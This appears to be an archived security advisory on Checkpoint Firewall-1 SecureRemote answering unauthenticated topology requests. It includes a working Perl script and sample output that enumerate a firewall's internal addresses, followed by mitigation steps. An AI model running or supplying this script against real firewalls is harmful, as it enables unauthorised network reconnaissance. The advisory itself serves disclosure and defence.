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TUCoPS :: Security App Flaws :: fw-26.htm

Checkpoint Firewall-1 Security Issues



COMMAND

    FW-1

SYSTEMS AFFECTED

    Checkpoint Firewall-1

PROBLEM

    Haroon Meer found following.   Checkpoint Firewall-1 makes use  of
    a  piece  of  software  called  SecureRemote  to  create encrypted
    sessions between users and FW-1 modules.  Before remote users  are
    able to  communicate with  internal hosts,  a network  topology of
    the protected network  is downloaded to  the client.   While newer
    versions of the FW-1 software  have the ability to restrict  these
    downloads  to  only  authenticated  sessions,  the default setting
    allows  unauthenticated  requests  to  be  honoured.  This gives a
    potential attacker a wealth of information including ip addresses,
    network masks (and even friendly descriptions).

    The attached file will connect  to the firewall, and download  the
    toplogy (if  SecureRemote is  running) (it  is a  tiny perl  file,
    which needs only Socket, so avoids the hassle of having to install
    the SecureRemote client <or booting windows> to test a firewall-1)

        SensePost# perl sr.pl firewall.victim.com
        Testing  on port 256
                :val (
                        :reply (
                                : (-SensePost-dotcom-.hal9000-19.3.167.186
                                        :type (gateway)
                                        :is_fwz (true)
                                        :is_isakmp (true)
                                        :certificates ()
                                        :uencapport (2746)
                                        :fwver (4.1)
                                        :ipaddr (19.3.167.186)
                                        :ipmask (255.255.255.255)
                                        :resolve_multiple_interfaces ()
                                        :ifaddrs (
                                                : (16.3.167.186)
                                                : (12.20.240.1)
                                                : (16.3.170.1)
                                                : (29.203.37.97)
                                        )
                                        :firewall (installed)
                                        :location (external)
                                        :keyloc (remote)
                                        :userc_crypt_ver (1)
                                        :keymanager (
                                                :type (refobj)
                                                :refname ("#_-SensePost-dotcom-")
        
        )                               :name
                                        (-SensePost-dotcom-Neo16.3.167.189)
                                                        :type (gateway)
                                                        :ipaddr (172.29.0.1)
                                                        :ipmask (255.255.255.255)
                                                )

    The code:

    #!/usr/bin/perl
    # A Command-line tool that can be used to download network Topology
    # from Firewall-1's running SecureRemote, with the option "Allow un
    # authenticated cleartext topology downloads".
    # Usage sr.pl IP
    # Haroon Meer & Roelof Temmingh 2001/07/17
    # haroon@sensepost.com - http://www.sensepost.com
    
    use Socket;
    if ($#ARGV<0) {die "Usage: sr.pl IP\n";}
    
    $port=256;
    $target=inet_aton($ARGV[0]);
    print "Testing $host on port $port\n";
    
    $SENDY="410000000259052100000004c41e43520000004e28746f706f6c6f67792d726571756573740a093a63616e616d6520282d53656e7365506f73742d646f74636f6d2d290a093a6368616c6c656e67652028633265323331383339643066290a290a00";
    $SENDY = pack("H*",$SENDY);
    
    @results=sendraw($SENDY);
    
    if ($#results == 0) {
     print "No results on port 256 - trying 264\n";
     $port=264;
     @results2=sendraw($SENDY);
     if ($#results2 == 0) {die "Sorry - no results\n";}
    } else {print @results;}
    
    sub sendraw {
     my ($pstr)=@_;
     socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
     if(connect(S,pack "SnA4x8",2,$port,$target)){
      my @in;
      select(S);      $|=1;   print $pstr;
      while(^<S>){ push @in, $_;}
      select(STDOUT); close(S); return @in;
     } else { return ""; }
    }
    # Spidermark: sensepostdata fw1

SOLUTION

    This is a well-known, and generally accepted, risk associated with
    running  FWZ  SecuRemote  VPN's  to  FireWall-1.   As  others have
    already  commented,  it  is  possible  to turn off unauthenticated
    topology  downloads  through  the  policy  properties.   If you do
    this,  you  will  need  to  manually  distribute  a  userc.C  file
    (containing the  topology information)  to all  of your secuRemote
    users.  This file  should be loaded into  the c:\winnt\fw\database
    directory on the client.

    From start to finish, the procedure should go something like this:
    1. Set  up  you  firewall  gateway  for VPN, with the "Respond  to
       unauthenticated topology requests" enabled.
    2. Set  up  a  sample  secuRemote  client,  and download the  site
       topology.
    3. Turn off "Respond to unauthenticated topology requests".
    4. Securely distribute the file userc.C from the sample client  to
       all secuRemote users.

    You will need to send out  an updated userc.C any time there  is a
    change to the encryption domain or keying info.

    That's not the  only way to  do it. An  'authenticated' connection
    can  download  the  topology  data.   However,  the authentication
    needed  for  this  to  work  is  a shared secret or certificate as
    defined in the 'IKE' properties  for the user (i.e. you  can't use
    things like SecurID  for this bit)  Once you've got  the topology,
    there's  nothing  stopping  you  re-authenticating  with  a normal
    authentication method.

    We do  this with  a seperate  account set  up purely  for topology
    downloads.  This account does  not have any access to  the network
    via the rulebase.

    Checkpoint have a couple of documents available on how to set this
    up, they are not that hard to find, searching for 'unauthenticated
    topology downlads' in the Checkpoint knowledge base should do  the
    trick.


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